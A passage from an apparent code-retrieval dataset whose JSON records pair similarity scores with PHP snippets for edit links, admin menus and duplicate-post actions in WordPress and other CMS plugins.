$this->getUserIdByAuth(PermissionService::APP_NEWS_PHNUM_EDIT,$this->loginUser->userId);\n\t\t$cmId = $this->loginUser->company->companyId;\n\t\t$ComMod = New CompanyModel();\n\t\t$ComMod = CompanyService::getInstance()->getRecord($cmId);\n\t\t$dlink = array(\n\t\t\t\t'ComMod'=>$ComMod ,\n\t\t\t\t'tab'=>'downlink',\n\t\t\t\t);\n\t\t$this->render('ShowLinkEdit', $dlink);\n\t}", "title": "" }, { "docid": "df958ee3d509fbfcc4c4c145071983f2", "score": "0.5849738", "text": "function sp_tpro_duplicate_shortcode_link( $actions, $post ) {\n\t\tif ( current_user_can( 'edit_posts' ) && $post->post_type == 'spt_shortcodes' ) {\n\t\t\t$actions['duplicate'] = '<a href=\"' . wp_nonce_url( 'admin.php?action=sp_tpro_duplicate_shortcode&post=' . $post->ID, basename( __FILE__ ), 'sp_tpro_duplicate_nonce' ) . '\" rel=\"permalink\">' . __( 'Duplicate', 'testimonial-pro' ) . '</a>';\n\t\t}\n\t\treturn $actions;\n\t}", "title": "" }, { "docid": "d898e7419b967601f20cea6b5e64e217", "score": "0.58454883", "text": "function edit() {\n JRequest::setVar('view', 'shortlink');\n JRequest::setVar('layout', 'form');\n JRequest::setVar('hidemainmenu', 1);\n\n parent::display();\n }", "title": "" }, { "docid": "9f4a7da3388edca0eb0d1a016213f456", "score": "0.58442855", "text": "function get_post_to_edit($id)\n{\n}", "title": "" }, { "docid": "f4bb580303eeb176c8e2562eb639ddf2", "score": "0.5829816", "text": "function the_edit_link_widget(): void {\n\techo esc_attr( admin_url( 'widgets.php' ) );\n}", "title": "" }, { "docid": "ae759f63e25ffafd9e96ba3017c571d1", "score": "0.58275795", "text": "public static function addEditorPageAction() {\n $capability = 'edit_pages';\n $menu_slug = 'np_app';\n add_pages_page(__('Nicepage', 'nicepage'), __('Nicepage', 'nicepage'), $capability, $menu_slug, 'np_start');\n add_pages_page(__('Nicepage', 'nicepage'), __('Nicepage', 'nicepage'), $capability, 'np_editor', 'NpAdminActions::editorAction');\n\n add_submenu_page($menu_slug, __('Import', 'nicepage'), __('Import', 'nicepage'), $capability, 'np_import', 'NpImport::importPage');\n add_submenu_page($menu_slug, __('Plugin Wizard', 'nicepage'), __('Plugin Wizard', 'nicepage'), $capability, 'np_wizard', 'NpImport::wizardPage');\n add_submenu_page($menu_slug, __('Settings', 'nicepage'), __('Settings', 'nicepage'), $capability, 'np_settings', 'NpSettings::settingsPage');\n\n // remove submenu from Pages\n global $submenu;\n $pages_slug = 'edit.php?post_type=page';\n if (isset($submenu[$pages_slug]) && is_array($submenu[$pages_slug])) {\n foreach ($submenu[$pages_slug] as $key => $value) {\n if (in_array('np_editor', $value) || in_array('np_app', $value)) {\n unset($submenu[$pages_slug][$key]);\n }\n }\n }\n }", "title": "" }, { "docid": "9ca78d24f0cd029f21411d7356962a3b", "score": "0.58262587", "text": "function AfterEdit(&$values, $where, &$oldvalues, &$keys, $inline, &$pageObject)\n{\n\n\t\t\n\n//********** Redirect to another page ************\nheader(\"Location: surat_edit.php?editid1=\".$_SESSION['sid']);\nexit();\n\n\n// Place event code here.\n// Use \"Add Action\" button to add code snippets.\n;\t\t\n}", "title": "" }, { "docid": "0a859db2c3b0c36a7937d7d1f15dcf76", "score": "0.5820708", "text": "public function WordpressConnectEditorButtons(){\n\n\t\tadd_action( 'media_buttons', array( &$this, 'addButtons' ) );\n\n\t}", "title": "" }, { "docid": "45818917fbd1fa2ada00e0a88ee7f017", "score": "0.5806148", "text": "function affiche_form_edition_post($content,$idPost)\r\n{\r\n\tif(isset($_SESSION['id']))\r\n\t{\r\n\t\tif(isadmin($_SESSION['id']))\r\n\t\t{\r\n\t\t\techo \"<form name='edit_post' action='controller/actions.php' method='post'>\";\r\n\t\t\t\techo \"<textarea name='article' cols='50' row='30'>\";\r\n\t\t\t\tforeach ($content as $key => $value) {\r\n\t\t\t\t\techo $value;\r\n\t\t\t\t}\r\n\t\t\t\techo \"</textarea></br>\";\r\n\t\t\t\techo \"<input name='id_post' type='hidden' value='\".$idPost.\"'/>\";\r\n\t\t\t\techo \"<input name='action' value='Editer post' type='submit'/>\";\r\n\t\t\t\techo \"<input type='hidden' name='url' value='?page=article&POST_ID=\".$idPost.\"'/>\";\r\n\t\t\techo \"</form>\";\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "63c01be393eb05e5b6d9135661ee0483", "score": "0.57944435", "text": "public function getEditURL();", "title": "" }, { "docid": "76c62f883d41719544b0e3295d58dd76", "score": "0.5794007", "text": "public function get_edit_url() {\n\t\treturn tcb_get_editor_url( $this->ID );\n\t}", "title": "" }, { "docid": "60404e0002e18bc84626488273745963", "score": "0.57878155", "text": "public function editLink()\n {\n return app('html')->link(\n implode(\n '/',\n array_filter(\n [\n 'admin',\n $this->object->getStreamNamespace(),\n $this->object->getStreamSlug(),\n $this->object->getMenuSlug(),\n 'edit',\n $this->object->getId(),\n ]\n )\n ),\n $this->object->getTitle()\n );\n }", "title": "" }, { "docid": "ae5ea0c7b5323f95bb5b25be61fe22eb", "score": "0.57767344", "text": "public function get_edit_post_link( $link, $id, $context = 'display' ) {\n\t\tif ( $id && (bool) ( $lang = $this->post_translation->get_element_lang_code( $id ) ) === true ) {\n\t\t\t$link .= ( 'display' === $context ? '&amp;' : '&' ) . 'lang=' . $lang;\n\t\t\tif ( ! did_action( 'wpml_pre_status_icon_display' ) ) {\n\t\t\t\tdo_action( 'wpml_pre_status_icon_display' );\n\t\t\t}\n\t\t\t$link = apply_filters( 'wpml_link_to_translation', $link, $id, $lang, $this->post_translation->get_element_trid( $id ) );\n\t\t}\n\n\t\treturn $link;\n\t}", "title": "" }, { "docid": "4d334bba295bf1707dbcd0cee2aad9ca", "score": "0.57438666", "text": "function lm_admin_panel() {\n\t?>\n\t<h3 class=\"floated\"><?php i18n(LM_PLUGIN.'/PLUGIN_NAME'); ?></h3>\n\t<div class=\"edit-nav clearfix\">\n\t\t<a href=\"load.php?id=<?php echo LM_PLUGIN; ?>&category\"><?php i18n(LM_PLUGIN.'/CATEGORIES'); ?></a>\n\t\t<a href=\"load.php?id=<?php echo LM_PLUGIN; ?>&edit\"><?php i18n(LM_PLUGIN.'/NEW_LINK'); ?></a>\n\t</div>\n\t<?php\n\t$links = lm_get_links();\n\tif (empty($links))\n\t\techo '<p>'.i18n_r(LM_PLUGIN.'/NO_LINKS').'</p>';\n\telse {\n\t\tif (count($links) > 1) echo '<p>' . i18n_r(LM_PLUGIN.'/CHANGE_ORDER') . '</p>'\n\t\t?>\n\t\t<form method=\"post\" action=\"load.php?id=<?php echo LM_PLUGIN; ?>\">\n\t\t\t<table id=\"links\" class=\"highlight\">\n\t\t\t\t<tr>\n\t\t\t\t\t<th><?php i18n(LM_PLUGIN.'/NAME'); ?></th>\n\t\t\t\t\t<th><?php i18n(LM_PLUGIN.'/DESCRIPTION'); ?></th>\n\t\t\t\t\t<th style=\"text-align: right;\"><?php i18n(LM_PLUGIN.'/URL'); ?></th>\n\t\t\t\t\t<th></th>\n\t\t\t\t\t<th></th>\n\t\t\t\t</tr>\n\t\t\t\t<tbody>\n\t\t\t\t<?php\n\t\t\t\tforeach ($links as $id=>$link) {\n\t\t\t\t\t$url = $link['url'];\n\t\t\t\t\t$name = $link['name'];\n\t\t\t\t\t$desc = $link['description'];\n\t\t\t\t\t?>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<input type=\"hidden\" name=\"<?php echo $url; ?>\" value='<?php echo serialize($link); ?>' />\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<a href=\"load.php?id=<?php echo LM_PLUGIN; ?>&edit=<?php echo $id; ?>\" title=\"<?php i18n(LM_PLUGIN.'/EDIT_LINK'); ?>: <?php echo $name; ?>\">\n\t\t\t\t\t\t\t\t<?php echo $name; ?>\n\t\t\t\t\t\t\t</a>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td class=\"description\">\n\t\t\t\t\t\t\t<span><?php echo $desc; ?></span>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td style=\"text-align: right;\">\n\t\t\t\t\t\t\t<span><?php echo strlen($url) > 50 ? substr($url, 0, 50) . '&hellip;' : $url; ?></span>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td class=\"secondarylink\">\n\t\t\t\t\t\t\t<a href=\"<?php echo $url; ?>\" target=\"_blank\" title=\"<?php i18n(LM_PLUGIN.'/VIEW_LINK'); ?>: <?php echo $name; ?>\">\n\t\t\t\t\t\t\t\t#\n\t\t\t\t\t\t\t</a>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td class=\"delete\">\n\t\t\t\t\t\t\t<a href=\"load.php?id=<?php echo LM_PLUGIN; ?>&delete=<?php echo $id; ?>\" class=\"delconfirm\" title=\"<?php i18n(LM_PLUGIN.'/DELETE_LINK'); ?>: <?php echo $name; ?>?\">\n\t\t\t\t\t\t\t\tX\n\t\t\t\t\t\t\t</a>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t<?php\n\t\t\t\t}\n\t\t\t\t?>\n\t\t\t\t</tbody>\n\t\t\t</table>\n\t\t\t<?php if (count($links) > 1) { ?>\n\t\t\t\t<input type=\"submit\" class=\"submit\" name=\"order\" value=\"<?php i18n(LM_PLUGIN.'/SAVE_ORDER'); ?>\">\n\t\t\t<?php } ?>\n\t\t</form>\n\n\t\t<script language=\"javascript\">\n\t\t\t$(document).ready(function(){\n\t\t\t\t$('#links tbody').sortable();\n\t\t\t});\n\t\t</script>\n\t<?php\n\t}\n}", "title": "" }, { "docid": "cd200e1564fa6d21173b015b2652823a", "score": "0.5738877", "text": "function uni_duplicate_post_link( $actions, $post ) {\n if (current_user_can('edit_posts')) {\n $actions['duplicate'] = '<a href=\"' . wp_nonce_url('admin.php?action=uni_duplicate_post_as_draft&post=' . $post->ID, basename(__FILE__), 'duplicate_nonce' ) . '\" title=\"'.__('Duplicate this item','shtheme').'\" rel=\"permalink\">'.__('Duplicate','shtheme').'</a>';\n }\n return $actions;\n}", "title": "" }, { "docid": "ead768b5c28d3e474127b30e810b03f5", "score": "0.5734327", "text": "public function attachPage() {\n\t\t$this->initEntities();\n\t\tif ( function_exists( 'add_meta_box' ) ) {\t\t\t\n\t\t\t$this->addMetaBox( 'post', 'advanced' );\n\t\t} else {\n\t\t\tadd_action( 'dbx_post_advanced', array( $this, 'oldCustomBox' ) );\n\t\t}\n\t}", "title": "" }, { "docid": "498c89f0474a339b589667a15cdc0a8d", "score": "0.5711358", "text": "public function getEditURL() {\n return Controller::join_links($this->Link(), 'item', 'ID', 'edit');\n }", "title": "" }, { "docid": "e5b04cc7682c8858df37df2866cbcb82", "score": "0.5707512", "text": "function action_duplicate_post_link( $actions, $post ) {\r\n\r\n\t\tif($post->post_type==\"search-filter-widget\")\r\n\t\t{\r\n\t\t\tif (current_user_can('edit_posts')) {\r\n\r\n\t\t\t\t$actions['duplicate'] = '<a href=\"' . wp_nonce_url('admin.php?action=sf_duplicate_form&post=' . $post->ID, basename(__FILE__), 'duplicate_nonce' ) . '\" title=\"Duplicate Search Form\" rel=\"permalink\">Duplicate</a>';\r\n\r\n\t\t\t}\r\n\t\t\tunset($actions['inline hide-if-no-js']);\r\n\t\t}\r\n\r\n\t\treturn $actions;\r\n\t}", "title": "" }, { "docid": "311d15dd4b4e49a1751b7f06bc8a445f", "score": "0.57056147", "text": "function hys_submenu_editpage() {\n\t\t\n\t\techo \"<div class='wrap' style='padding-bottom:35px;'>\";\n\t\t\n\t\tif (isset($_GET['edit_ftr'])) {\n\t\t\n\t\t\t$getparentpage \t= get_post($_GET['post']);\n\t\t\t$getheyyou \t\t= get_post($_GET['edit_ftr']);\n\t\t\t\n\t\t\techo \"\n\t\t\t\t<form name='post' method='POST' action='admin.php?page=editheyyoupost&post={$_GET['post']}&edit_ftr={$_GET['edit_ftr']}&update_heyyoupost'>\n\t\t\t\t<h2>Editing heyyou post: \\\"{$getheyyou->post_title}\\\" (from: \\\"{$getparentpage->post_title}\\\")</h2>\n\t\t\t\t\";\n\t\t\t\t\t\n\t\t\tif (isset($_GET['message']))\n\t\t\t\techo \"<div id='message' class='updated fade'><p>heyyou post edited. <a href='post.php?post={$_GET['post']}&action=edit#hys_manage_metabox'>&larr; Back to full list</a> | \n\t\t\t\t<a href='\".get_permalink($_GET['post']).\"'>View Page</a>.</p></div>\";\n\t\n\t\t\techo hys_post_form(); //edit form\n\t\t\t\n\t\t\techo \"</form>\";\n\t\t\t\n\t\t\t\t\t\n\t\t} else {\n\t\t\techo \"<br /><br />A post must be selected to edit!\";\n\t\t}\n\t\t\n\t\techo \"</div><!--/wrap-->\";\n\t}", "title": "" }, { "docid": "393fc433b93ea394b3260ae53b46c2bf", "score": "0.5697134", "text": "function blogger_editPost($args) {\n\n\t global $wpdb;\n\n\t $post_ID = $args[1];\n\t $user_login = $args[2];\n\t $user_pass = $args[3];\n\t $new_content = $args[4];\n\t $publish = $args[5];\n\n\t if (!$this->login_pass_ok($user_login, $user_pass)) {\n\t return $this->error;\n\t }\n\n\t $actual_post = wp_get_single_post($post_ID,ARRAY_A);\n\n\t if (!$actual_post) {\n\t \treturn new IXR_Error(404, 'Sorry, no such post.');\n\t }\n\n\t $post_author_data = get_userdata($actual_post['post_author']);\n\t $user_data = get_userdatabylogin($user_login);\n\n\t if (!user_can_edit_post($user_data->ID, $post_ID)) {\n\t return new IXR_Error(401, 'Sorry, you do not have the right to edit this post.');\n\t }\n\n\t extract($actual_post);\n\t $content = $newcontent;\n\n\t $post_title = xmlrpc_getposttitle($content);\n\t $post_category = xmlrpc_getpostcategory($content);\n\n\t $content = xmlrpc_removepostdata($content);\n\t $post_content = format_to_post($content);\n\n\t $postdata = compact('ID', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt');\n\n\t $result = wp_update_post($postdata);\n\n\t if (!$result) {\n\t \treturn new IXR_Error(500, 'For some strange yet very annoying reason, this post could not be edited.');\n\t }\n\n\t return true;\n\t}", "title": "" }, { "docid": "de622501508c6831813b16090b314e97", "score": "0.56822765", "text": "public function editAction(\\TYPO3\\Blog\\Domain\\Model\\Post $post) {\n\t\t$this->view->assign('blog', $this->blog);\n\t\t\t// Don't display the post we're editing in the related posts selector:\n\t\t$existingPosts = $this->postRepository->findRecentExceptThis($post);\n\t\t$this->view->assign('existingPosts', $existingPosts);\n\t\t$this->view->assign('categories', $this->categoryRepository->findAll());\n\t\t$this->view->assign('post', $post);\n\t}", "title": "" }, { "docid": "afbe1aeb676148555d19d1c0240e64de", "score": "0.5674337", "text": "function addAdminPage()\r\n\t{\r\n\t\t$adminPage = add_options_page('Auto Content Links Options', 'Auto Content Links', 'administrator', 'auto-content-links', array($this, 'admin'));\r\n\t\tadd_action('load-'.$adminPage, array($this, 'adminScripts'));\r\n\t}", "title": "" }, { "docid": "5314286c1b9c09cdd138e45c95a13677", "score": "0.56742287", "text": "function edit_link($row)\n {\n \t//\tpager_link(_(\"Edit\"),\n \t//\t\t\"/dimensions/dimension_entry.php?trans_no=\" . $row[\"id\"], ICON_EDIT);\n \treturn pager_link(_(\"Edit\"),\n \t\t\t\"/dimensions/dimension_entry.php?trans_no=\" . $row[\"id\"], ICON_EDIT);\n }", "title": "" }, { "docid": "54bc513340d763319bbc9d285773c1e3", "score": "0.56716406", "text": "public function dupe_link($actions, $post)\n {\n }", "title": "" }, { "docid": "1fd2a3a0b4faa64d8b40d448788a4395", "score": "0.5671108", "text": "function SetupOtherOptions() {\n\t\tglobal $Language, $Security;\n\t\t$options = &$this->OtherOptions;\n\t\t$option = &$options[\"action\"];\n\n\t\t// Add\n\t\t$item = &$option->Add(\"add\");\n\t\t$addcaption = ew_HtmlTitle($Language->Phrase(\"ViewPageAddLink\"));\n\t\tif ($this->IsModal) // Modal\n\t\t\t$item->Body = \"<a class=\\\"ewAction ewAdd\\\" title=\\\"\" . $addcaption . \"\\\" data-caption=\\\"\" . $addcaption . \"\\\" href=\\\"javascript:void(0);\\\" onclick=\\\"ew_ModalDialogShow({lnk:this,url:'\" . ew_HtmlEncode($this->AddUrl) . \"',caption:'\" . $addcaption . \"'});\\\">\" . $Language->Phrase(\"ViewPageAddLink\") . \"</a>\";\n\t\telse\n\t\t\t$item->Body = \"<a class=\\\"ewAction ewAdd\\\" title=\\\"\" . $addcaption . \"\\\" data-caption=\\\"\" . $addcaption . \"\\\" href=\\\"\" . ew_HtmlEncode($this->AddUrl) . \"\\\">\" . $Language->Phrase(\"ViewPageAddLink\") . \"</a>\";\n\t\t$item->Visible = ($this->AddUrl <> \"\" && $Security->CanAdd());\n\n\t\t// Edit\n\t\t$item = &$option->Add(\"edit\");\n\t\t$editcaption = ew_HtmlTitle($Language->Phrase(\"ViewPageEditLink\"));\n\t\tif ($this->IsModal) // Modal\n\t\t\t$item->Body = \"<a class=\\\"ewAction ewEdit\\\" title=\\\"\" . $editcaption . \"\\\" data-caption=\\\"\" . $editcaption . \"\\\" href=\\\"javascript:void(0);\\\" onclick=\\\"ew_ModalDialogShow({lnk:this,url:'\" . ew_HtmlEncode($this->EditUrl) . \"',caption:'\" . $editcaption . \"'});\\\">\" . $Language->Phrase(\"ViewPageEditLink\") . \"</a>\";\n\t\telse\n\t\t\t$item->Body = \"<a class=\\\"ewAction ewEdit\\\" title=\\\"\" . $editcaption . \"\\\" data-caption=\\\"\" . $editcaption . \"\\\" href=\\\"\" . ew_HtmlEncode($this->EditUrl) . \"\\\">\" . $Language->Phrase(\"ViewPageEditLink\") . \"</a>\";\n\t\t$item->Visible = ($this->EditUrl <> \"\" && $Security->CanEdit());\n\n\t\t// Copy\n\t\t$item = &$option->Add(\"copy\");\n\t\t$copycaption = ew_HtmlTitle($Language->Phrase(\"ViewPageCopyLink\"));\n\t\tif ($this->IsModal) // Modal\n\t\t\t$item->Body = \"<a class=\\\"ewAction ewCopy\\\" title=\\\"\" . $copycaption . \"\\\" data-caption=\\\"\" . $copycaption . \"\\\" href=\\\"javascript:void(0);\\\" onclick=\\\"ew_ModalDialogShow({lnk:this,url:'\" . ew_HtmlEncode($this->CopyUrl) . \"',caption:'\" . $copycaption . \"'});\\\">\" . $Language->Phrase(\"ViewPageCopyLink\") . \"</a>\";\n\t\telse\n\t\t\t$item->Body = \"<a class=\\\"ewAction ewCopy\\\" title=\\\"\" . $copycaption . \"\\\" data-caption=\\\"\" . $copycaption . \"\\\" href=\\\"\" . ew_HtmlEncode($this->CopyUrl) . \"\\\">\" . $Language->Phrase(\"ViewPageCopyLink\") . \"</a>\";\n\t\t$item->Visible = ($this->CopyUrl <> \"\" && $Security->CanAdd());\n\n\t\t// Delete\n\t\t$item = &$option->Add(\"delete\");\n\t\tif ($this->IsModal) // Handle as inline delete\n\t\t\t$item->Body = \"<a onclick=\\\"return ew_ConfirmDelete(this);\\\" class=\\\"ewAction ewDelete\\\" title=\\\"\" . ew_HtmlTitle($Language->Phrase(\"ViewPageDeleteLink\")) . \"\\\" data-caption=\\\"\" . ew_HtmlTitle($Language->Phrase(\"ViewPageDeleteLink\")) . \"\\\" href=\\\"\" . ew_HtmlEncode(ew_AddQueryStringToUrl($this->DeleteUrl, \"a_delete=1\")) . \"\\\">\" . $Language->Phrase(\"ViewPageDeleteLink\") . \"</a>\";\n\t\telse\n\t\t\t$item->Body = \"<a class=\\\"ewAction ewDelete\\\" title=\\\"\" . ew_HtmlTitle($Language->Phrase(\"ViewPageDeleteLink\")) . \"\\\" data-caption=\\\"\" . ew_HtmlTitle($Language->Phrase(\"ViewPageDeleteLink\")) . \"\\\" href=\\\"\" . ew_HtmlEncode($this->DeleteUrl) . \"\\\">\" . $Language->Phrase(\"ViewPageDeleteLink\") . \"</a>\";\n\t\t$item->Visible = ($this->DeleteUrl <> \"\" && $Security->CanDelete());\n\n\t\t// Set up action default\n\t\t$option = &$options[\"action\"];\n\t\t$option->DropDownButtonPhrase = $Language->Phrase(\"ButtonActions\");\n\t\t$option->UseImageAndText = TRUE;\n\t\t$option->UseDropDownButton = FALSE;\n\t\t$option->UseButtonGroup = TRUE;\n\t\t$item = &$option->Add($option->GroupOptionName);\n\t\t$item->Body = \"\";\n\t\t$item->Visible = FALSE;\n\t}", "title": "" }, { "docid": "1fd2a3a0b4faa64d8b40d448788a4395", "score": "0.5671108", "text": "function SetupOtherOptions() {\n\t\tglobal $Language, $Security;\n\t\t$options = &$this->OtherOptions;\n\t\t$option = &$options[\"action\"];\n\n\t\t// Add\n\t\t$item = &$option->Add(\"add\");\n\t\t$addcaption = ew_HtmlTitle($Language->Phrase(\"ViewPageAddLink\"));\n\t\tif ($this->IsModal) // Modal\n\t\t\t$item->Body = \"<a class=\\\"ewAction ewAdd\\\" title=\\\"\" . $addcaption . \"\\\" data-caption=\\\"\" . $addcaption . \"\\\" href=\\\"javascript:void(0);\\\" onclick=\\\"ew_ModalDialogShow({lnk:this,url:'\" . ew_HtmlEncode($this->AddUrl) . \"',caption:'\" . $addcaption . \"'});\\\">\" . $Language->Phrase(\"ViewPageAddLink\") . \"</a>\";\n\t\telse\n\t\t\t$item->Body = \"<a class=\\\"ewAction ewAdd\\\" title=\\\"\" . $addcaption . \"\\\" data-caption=\\\"\" . $addcaption . \"\\\" href=\\\"\" . ew_HtmlEncode($this->AddUrl) . \"\\\">\" . $Language->Phrase(\"ViewPageAddLink\") . \"</a>\";\n\t\t$item->Visible = ($this->AddUrl <> \"\" && $Security->CanAdd());\n\n\t\t// Edit\n\t\t$item = &$option->Add(\"edit\");\n\t\t$editcaption = ew_HtmlTitle($Language->Phrase(\"ViewPageEditLink\"));\n\t\tif ($this->IsModal) // Modal\n\t\t\t$item->Body = \"<a class=\\\"ewAction ewEdit\\\" title=\\\"\" . $editcaption . \"\\\" data-caption=\\\"\" . $editcaption . \"\\\" href=\\\"javascript:void(0);\\\" onclick=\\\"ew_ModalDialogShow({lnk:this,url:'\" . ew_HtmlEncode($this->EditUrl) . \"',caption:'\" . $editcaption . \"'});\\\">\" . $Language->Phrase(\"ViewPageEditLink\") . \"</a>\";\n\t\telse\n\t\t\t$item->Body = \"<a class=\\\"ewAction ewEdit\\\" title=\\\"\" . $editcaption . \"\\\" data-caption=\\\"\" . $editcaption . \"\\\" href=\\\"\" . ew_HtmlEncode($this->EditUrl) . \"\\\">\" . $Language->Phrase(\"ViewPageEditLink\") . \"</a>\";\n\t\t$item->Visible = ($this->EditUrl <> \"\" && $Security->CanEdit());\n\n\t\t// Copy\n\t\t$item = &$option->Add(\"copy\");\n\t\t$copycaption = ew_HtmlTitle($Language->Phrase(\"ViewPageCopyLink\"));\n\t\tif ($this->IsModal) // Modal\n\t\t\t$item->Body = \"<a class=\\\"ewAction ewCopy\\\" title=\\\"\" . $copycaption . \"\\\" data-caption=\\\"\" . $copycaption . \"\\\" href=\\\"javascript:void(0);\\\" onclick=\\\"ew_ModalDialogShow({lnk:this,url:'\" . ew_HtmlEncode($this->CopyUrl) . \"',caption:'\" . $copycaption . \"'});\\\">\" . $Language->Phrase(\"ViewPageCopyLink\") . \"</a>\";\n\t\telse\n\t\t\t$item->Body = \"<a class=\\\"ewAction ewCopy\\\" title=\\\"\" . $copycaption . \"\\\" data-caption=\\\"\" . $copycaption . \"\\\" href=\\\"\" . ew_HtmlEncode($this->CopyUrl) . \"\\\">\" . $Language->Phrase(\"ViewPageCopyLink\") . \"</a>\";\n\t\t$item->Visible = ($this->CopyUrl <> \"\" && $Security->CanAdd());\n\n\t\t// Delete\n\t\t$item = &$option->Add(\"delete\");\n\t\tif ($this->IsModal) // Handle as inline delete\n\t\t\t$item->Body = \"<a onclick=\\\"return ew_ConfirmDelete(this);\\\" class=\\\"ewAction ewDelete\\\" title=\\\"\" . ew_HtmlTitle($Language->Phrase(\"ViewPageDeleteLink\")) . \"\\\" data-caption=\\\"\" . ew_HtmlTitle($Language->Phrase(\"ViewPageDeleteLink\")) . \"\\\" href=\\\"\" . ew_HtmlEncode(ew_AddQueryStringToUrl($this->DeleteUrl, \"a_delete=1\")) . \"\\\">\" . $Language->Phrase(\"ViewPageDeleteLink\") . \"</a>\";\n\t\telse\n\t\t\t$item->Body = \"<a class=\\\"ewAction ewDelete\\\" title=\\\"\" . ew_HtmlTitle($Language->Phrase(\"ViewPageDeleteLink\")) . \"\\\" data-caption=\\\"\" . ew_HtmlTitle($Language->Phrase(\"ViewPageDeleteLink\")) . \"\\\" href=\\\"\" . ew_HtmlEncode($this->DeleteUrl) . \"\\\">\" . $Language->Phrase(\"ViewPageDeleteLink\") . \"</a>\";\n\t\t$item->Visible = ($this->DeleteUrl <> \"\" && $Security->CanDelete());\n\n\t\t// Set up action default\n\t\t$option = &$options[\"action\"];\n\t\t$option->DropDownButtonPhrase = $Language->Phrase(\"ButtonActions\");\n\t\t$option->UseImageAndText = TRUE;\n\t\t$option->UseDropDownButton = FALSE;\n\t\t$option->UseButtonGroup = TRUE;\n\t\t$item = &$option->Add($option->GroupOptionName);\n\t\t$item->Body = \"\";\n\t\t$item->Visible = FALSE;\n\t}", "title": "" }, { "docid": "7b5273e0ada64e1a85b1c3f92727333d", "score": "0.5669798", "text": "function edit()\n\t{\n\t\tget_instance()->data['widgettext'] = 'Edit Block';\n\t\tget_instance()->data['helpertext'] = 'To edit this block fill out the field below and click \"save\"';\n\t\tget_instance()->data['type'] = 'edit';\n\t\t\n\t\t// Get data\n\t\tget_instance()->data['id'] = $id = $this->uri->segment(4);\n\t\tif(! get_instance()->data['data'] = $this->cms_blocks_model->get_by_id($id)) \n\t\t{\n\t\t\tredirect($this->config->item('cb_cp_url_base') . '/blocks');\n\t\t}\t\n\t\t\n\t\t$this->_add_edit_shared_func($id);\t\n\t}", "title": "" }, { "docid": "4ac6ac6ef44977c4b24ef31a50fe1ccb", "score": "0.5668074", "text": "function wpland_custom_edit_post_link( $output ) {\n\treturn str_replace( 'class=\"post-edit-link\"', 'class=\"post-edit-link badge badge-secondary\"', $output );\n}", "title": "" }, { "docid": "d942878d6740afc2c75eb26990062b0b", "score": "0.56666774", "text": "public function plugin_manage_link( $actions, $plugin_file, $plugin_data, $context ) {\n\n return array_merge( array( 'configure' => '<a href=\"/wp-admin/options-general.php?page=myplugin\">Settings</a>' ), $actions );\n\n}", "title": "" }, { "docid": "c83c904cf28b4f75ab5f89d19fa27e18", "score": "0.56630135", "text": "public static function add_page() {\n\t\t$wpex_portfolio_editor = add_submenu_page(\n\t\t\t'edit.php?post_type=portfolio',\n\t\t\t__( 'Post Type Editor', 'total' ),\n\t\t\t__( 'Post Type Editor', 'total' ),\n\t\t\t'administrator',\n\t\t\t'wpex-portfolio-editor',\n\t\t\tarray( 'WPEX_Portfolio_Config', 'create_admin_page' )\n\t\t);\n\t\tadd_action( 'load-'. $wpex_portfolio_editor, array( 'WPEX_Portfolio_Config', 'flush_rewrite_rules' ) );\n\t}", "title": "" }, { "docid": "81d03fa3b63a6ff4f0ea18d53768f940", "score": "0.5662302", "text": "public function dsm_attachment_fields_to_edit( $fields, $post ) {\n\t\t$fields['dsm_gallery_fields_title'] = array(\n\t\t\t'label' => __( 'For Divi Supreme Modules only', 'dsm-supreme-modules-pro-for-divi' ),\n\t\t\t'input' => 'html',\n\t\t\t'html' => __( ' ', 'dsm-supreme-modules-pro-for-divi' ),\n\t\t);\n\n\t\t$custom_link_url_value = get_post_meta( $post->ID, 'dsm_upload_gallery_custom_link_url', true );\n\t\t$fields['dsm_upload_gallery_custom_link_url'] = array(\n\t\t\t'label' => __( 'Link URL', 'dsm-supreme-modules-pro-for-divi' ),\n\t\t\t'input' => 'text',\n\t\t\t'value' => $custom_link_url_value ? $custom_link_url_value : '',\n\t\t);\n\t\t$target_value = get_post_meta( $post->ID, 'dsm_upload_gallery_link_url_target', true );\n\t\t$fields['dsm_upload_gallery_link_url_target'] = array(\n\t\t\t'label' => __( 'Link Target', 'dsm-supreme-modules-pro-for-divi' ),\n\t\t\t'input' => 'html',\n\t\t\t'html' => '\n\t\t\t\t<select class=\"widefat\" name=\"attachments[' . $post->ID . '][dsm_upload_gallery_link_url_target]\" id=\"attachments[' . $post->ID . '][dsm_upload_gallery_link_url_target]\">\n\t\t\t\t\t<option value=\"_self\"' . ( '_self' === $target_value ? ' selected=\"selected\"' : '' ) . '>' .\n\t\t\t\t\t\t__( 'In The Same Window', 'dsm-supreme-modules-pro-for-divi' ) .\n\t\t\t\t\t'</option>\n\t\t\t\t\t<option value=\"_blank\"' . ( '_blank' === $target_value ? ' selected=\"selected\"' : '' ) . '>' .\n\t\t\t\t\t\t__( 'In The New Tab', 'dsm-supreme-modules-pro-for-divi' ) .\n\t\t\t\t\t'</option>\n\t\t\t\t</select>',\n\t\t);\n\n\t\t$download_as_file = get_post_meta( $post->ID, 'dsm_upload_gallery_link_as_download_file', true );\n\t\t$fields['dsm_upload_gallery_link_as_download_file'] = array(\n\t\t\t'label' => __( ' ', 'dsm-supreme-modules-pro-for-divi' ),\n\t\t\t'input' => 'html',\n\t\t\t'html' => '<input type=\"checkbox\" value=\"1\" name=\"attachments[' . $post->ID . '][dsm_upload_gallery_link_as_download_file]\" id=\"attachments[' . $post->ID . '][dsm_upload_gallery_link_as_download_file]\" ' . checked( 1, get_post_meta( $post->ID, 'dsm_upload_gallery_link_as_download_file', true ), false ) . '/> Download as file',\n\t\t);\n\t\treturn $fields;\n\t}", "title": "" }, { "docid": "ad6d1388f4f145c8f017ba1e441cc1e1", "score": "0.56524247", "text": "public function getEditPostUrl()\n {\n return $this->_getUrl('user/account/editpost');\n }", "title": "" }, { "docid": "3707066bce7392044fc0b5a9ecff117d", "score": "0.56512845", "text": "function route_admin_posts_edit ($id = 0) {\n if (is_post() && admin_posts_edit($id, $_POST)) 